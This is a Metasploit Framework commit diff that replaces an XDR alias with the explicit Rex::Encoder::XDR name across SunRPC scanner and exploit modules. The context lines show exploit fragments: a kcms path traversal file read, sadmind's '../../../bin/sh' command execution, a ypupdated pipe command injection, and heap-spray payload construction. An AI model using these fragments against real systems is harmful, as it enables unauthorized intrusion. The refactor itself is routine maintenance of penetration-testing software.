Skip to content

Commit e43adf0

Browse files
jbarnett-r7jbarnett-r7
committed
Land rapid7#8710, explicitly use Rex::Encoder::XDR
The previous use of XDR in these modules allowed for namespace collisions with similar gems.
2 parents e69460a + 345407b commit e43adf0

File tree

11 files changed

+33
-35
lines changed

11 files changed

+33
-35
lines changed

‎lib/msf/core/exploit/sunrpc.rb

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -16,8 +16,6 @@ module Msf
1616
module Exploit::Remote::SunRPC
1717
include Exploit::Remote::Tcp
1818

19-
XDR = Rex::Encoder::XDR
20-
2119
MSG_ACCEPTED = 0
2220
SUCCESS = 0 # RPC executed successfully
2321
PROG_UMAVAIL = 1 # Remote hasn't exported program
@@ -72,7 +70,7 @@ def sunrpc_create(protocol, program, version, time_out = timeout)
7270
ret = rpcobj.create
7371
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to Portmap request" unless ret
7472

75-
arr = XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
73+
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer, String, Integer, Integer)
7674
if arr[1] != MSG_ACCEPTED || arr[4] != SUCCESS || arr[5] == 0
7775
err = "#{rhost}:#{rport} - SunRPC - Portmap request failed: "
7876
err << 'Message not accepted' if arr[1] != MSG_ACCEPTED

‎modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -66,14 +66,14 @@ def run
6666

6767
# Prepare the traversing request for kcms_server
6868
trav = 'TT_DB/' + ('../' * 5) + path
69-
buf = XDR.encode(
69+
buf = Rex::Encoder::XDR.encode(
7070
[trav, 1024],
7171
0, # O_RDONLY
7272
0755) # mode
7373

7474
# Make the request
7575
ret = sunrpc_call(1003, buf)
76-
ack, fsize, fd = XDR.decode!(ret, Integer, Integer, Integer)
76+
ack, fsize, fd = Rex::Encoder::XDR.decode!(ret, Integer, Integer, Integer)
7777

7878
if (ack != 0)
7979
print_error("KCMS open() failed (ack: 0x%x != 0)" % ack)
@@ -88,13 +88,13 @@ def run
8888
print_status("fd: #{fd}, file size #{fsize}")
8989

9090
print_status("Making read() request to the kcms_server...")
91-
buf = XDR.encode(
91+
buf = Rex::Encoder::XDR.encode(
9292
fd,
9393
0,
9494
fsize)
9595

9696
ret = sunrpc_call(1005, buf)
97-
x, data = XDR.decode!(ret, Integer, [Integer])
97+
x, data = Rex::Encoder::XDR.decode!(ret, Integer, [Integer])
9898

9999
# If we got something back...
100100
if (data)
@@ -118,7 +118,7 @@ def run
118118

119119
# Close it regardless if it returned anything..
120120
print_status("Making close() request to the kcms_server...")
121-
buf = XDR.encode(fd)
121+
buf = Rex::Encoder::XDR.encode(fd)
122122
sunrpc_call(1004, buf)
123123

124124
# done
@@ -138,7 +138,7 @@ def run
138138
def ttdb_build(path)
139139
sunrpc_create('tcp', 100083, 1)
140140
sunrpc_authunix('localhost', 0, 0, [])
141-
msg = XDR.encode(
141+
msg = Rex::Encoder::XDR.encode(
142142
[path, 1024],
143143
path.length,
144144
1, # KEY (VArray head?)
@@ -152,7 +152,7 @@ def ttdb_build(path)
152152
0x10002,
153153
path.length)
154154
ret = sunrpc_call(3, msg)
155-
arr = XDR.decode!(ret, Integer, Integer)
155+
arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer)
156156
print_status("TTDB reply: 0x%x, %d" % arr)
157157
sunrpc_destroy
158158
end

‎modules/auxiliary/scanner/misc/sunrpc_portmapper.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -40,8 +40,8 @@ def run_host(ip)
4040
progs = resp[3, 1].unpack('C')[0]
4141
maps = []
4242
if (progs == 0x01)
43-
while XDR.decode_int!(resp) == 1
44-
maps << XDR.decode!(resp, Integer, Integer, Integer, Integer)
43+
while Rex::Encoder::XDR.decode_int!(resp) == 1
44+
maps << Rex::Encoder::XDR.decode!(resp, Integer, Integer, Integer, Integer)
4545
end
4646
end
4747
sunrpc_destroy

‎modules/auxiliary/scanner/nfs/nfsmount.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -56,11 +56,11 @@ def run_host(ip)
5656
exports = resp[3,1].unpack('C')[0]
5757
if (exports == 0x01)
5858
shares = []
59-
while XDR.decode_int!(resp) == 1 do
60-
dir = XDR.decode_string!(resp)
59+
while Rex::Encoder::XDR.decode_int!(resp) == 1 do
60+
dir = Rex::Encoder::XDR.decode_string!(resp)
6161
grp = []
62-
while XDR.decode_int!(resp) == 1 do
63-
grp << XDR.decode_string!(resp)
62+
while Rex::Encoder::XDR.decode_int!(resp) == 1 do
63+
grp << Rex::Encoder::XDR.decode_string!(resp)
6464
end
6565
print_good("#{ip} NFS Export: #{dir} [#{grp.join(", ")}]")
6666
shares << [dir, grp]

‎modules/exploits/aix/rpc_cmsd_opcode21.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,7 @@ def brute_exploit(brute_target)
8383
# spray the heap a bit (work around powerpc cache issues)
8484
buf = make_nops(1024 - @aixpayload.length)
8585
buf << @aixpayload
86-
xdr = XDR.encode(buf, buf)
86+
xdr = Rex::Encoder::XDR.encode(buf, buf)
8787
10.times {
8888
sunrpc_call(7, xdr, 2)
8989
}
@@ -93,7 +93,7 @@ def brute_exploit(brute_target)
9393
buf = rand_text_alphanumeric(payload_space)
9494
buf << [brute_target['Ret']].pack('N')
9595

96-
xdr = XDR.encode(buf, "")
96+
xdr = Rex::Encoder::XDR.encode(buf, "")
9797
sunrpc_authunix('localhost', 0, 0, [])
9898
sunrpc_call(21, xdr, 2)
9999

‎modules/exploits/aix/rpc_ttdbserverd_realpath.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -262,7 +262,7 @@ def brute_exploit(brute_target)
262262

263263
buf << "\x7f\xff\xfb\x78" * 1920
264264
buf << @aixpayload
265-
buf = XDR.encode(buf, 2, 0x78000000, 2, 0x78000000)
265+
buf = Rex::Encoder::XDR.encode(buf, 2, 0x78000000, 2, 0x78000000)
266266

267267
print_status('Sending procedure 15 call message...')
268268
sunrpc_call(15, buf)

‎modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -121,8 +121,8 @@ def brute_exploit(brute_target)
121121
buf2 = @nops + payload.encoded
122122

123123
header =
124-
XDR.encode(0) * 7 +
125-
XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,
124+
Rex::Encoder::XDR.encode(0) * 7 +
125+
Rex::Encoder::XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,
126126
4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0,
127127
hostname, 'system', rand_text_alpha(16))
128128

@@ -139,9 +139,9 @@ def brute_exploit(brute_target)
139139
do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +
140140
do_int('ADM_FENCE', 0) +
141141
do_string('X', buf2) +
142-
XDR.encode('netmgt_endofargs')
142+
Rex::Encoder::XDR.encode('netmgt_endofargs')
143143

144-
request = header + XDR.encode(header.length + body.length - 326) + body
144+
request = header + Rex::Encoder::XDR.encode(header.length + body.length - 326) + body
145145

146146
begin
147147
# two seconds timeout for brute force
@@ -157,11 +157,11 @@ def brute_exploit(brute_target)
157157
end
158158

159159
def do_string(str1, str2)
160-
XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
160+
Rex::Encoder::XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
161161
end
162162

163163
def do_int(str, int)
164-
XDR.encode(str, 3, 4, int, 0, 0)
164+
Rex::Encoder::XDR.encode(str, 3, 4, int, 0, 0)
165165
end
166166

167167
end

‎modules/exploits/solaris/sunrpc/sadmind_exec.rb

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -97,8 +97,8 @@ def exploit
9797

9898
def sadmind_request(host, command)
9999
header =
100-
XDR.encode(0) * 7 +
101-
XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,
100+
Rex::Encoder::XDR.encode(0) * 7 +
101+
Rex::Encoder::XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,
102102
4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0,
103103
host, 'system', '../../../bin/sh')
104104

@@ -116,19 +116,19 @@ def sadmind_request(host, command)
116116
do_int('ADM_FENCE', 0) +
117117
do_string('X', '-c') +
118118
do_string('Y', command) +
119-
XDR.encode('netmgt_endofargs')
119+
Rex::Encoder::XDR.encode('netmgt_endofargs')
120120

121-
request = header + XDR.encode(header.length + body.length - 326) + body
121+
request = header + Rex::Encoder::XDR.encode(header.length + body.length - 326) + body
122122

123123
ret = sunrpc_call(1, request)
124-
return XDR.decode!(ret, Integer, Integer, String)[2]
124+
return Rex::Encoder::XDR.decode!(ret, Integer, Integer, String)[2]
125125
end
126126

127127
def do_string(str1, str2)
128-
XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
128+
Rex::Encoder::XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
129129
end
130130

131131
def do_int(str, int)
132-
XDR.encode(str, 3, 4, int, 0, 0)
132+
Rex::Encoder::XDR.encode(str, 3, 4, int, 0, 0)
133133
end
134134
end

‎modules/exploits/solaris/sunrpc/ypupdated_exec.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -69,7 +69,7 @@ def exploit
6969
print_status('Waiting for response...')
7070
sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], [])
7171
command = '|' + payload.encoded
72-
msg = XDR.encode(command, 2, 0x78000000, 2, 0x78000000)
72+
msg = Rex::Encoder::XDR.encode(command, 2, 0x78000000, 2, 0x78000000)
7373
sunrpc_call(procedure, msg)
7474

7575
sunrpc_destroy

‎modules/exploits/windows/brightstor/mediasrv_sunrpc.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -262,7 +262,7 @@ def exploit
262262

263263
data = "_" + data + "_1_1_1_1_1_1_1_1_1"
264264

265-
request = XDR.encode(1, 1, 2, 2, 2, data, 3, 3)
265+
request = Rex::Encoder::XDR.encode(1, 1, 2, 2, 2, data, 3, 3)
266266

267267
print_status("Trying target #{target.name}...")
268268

0 commit comments

Comments
 (0)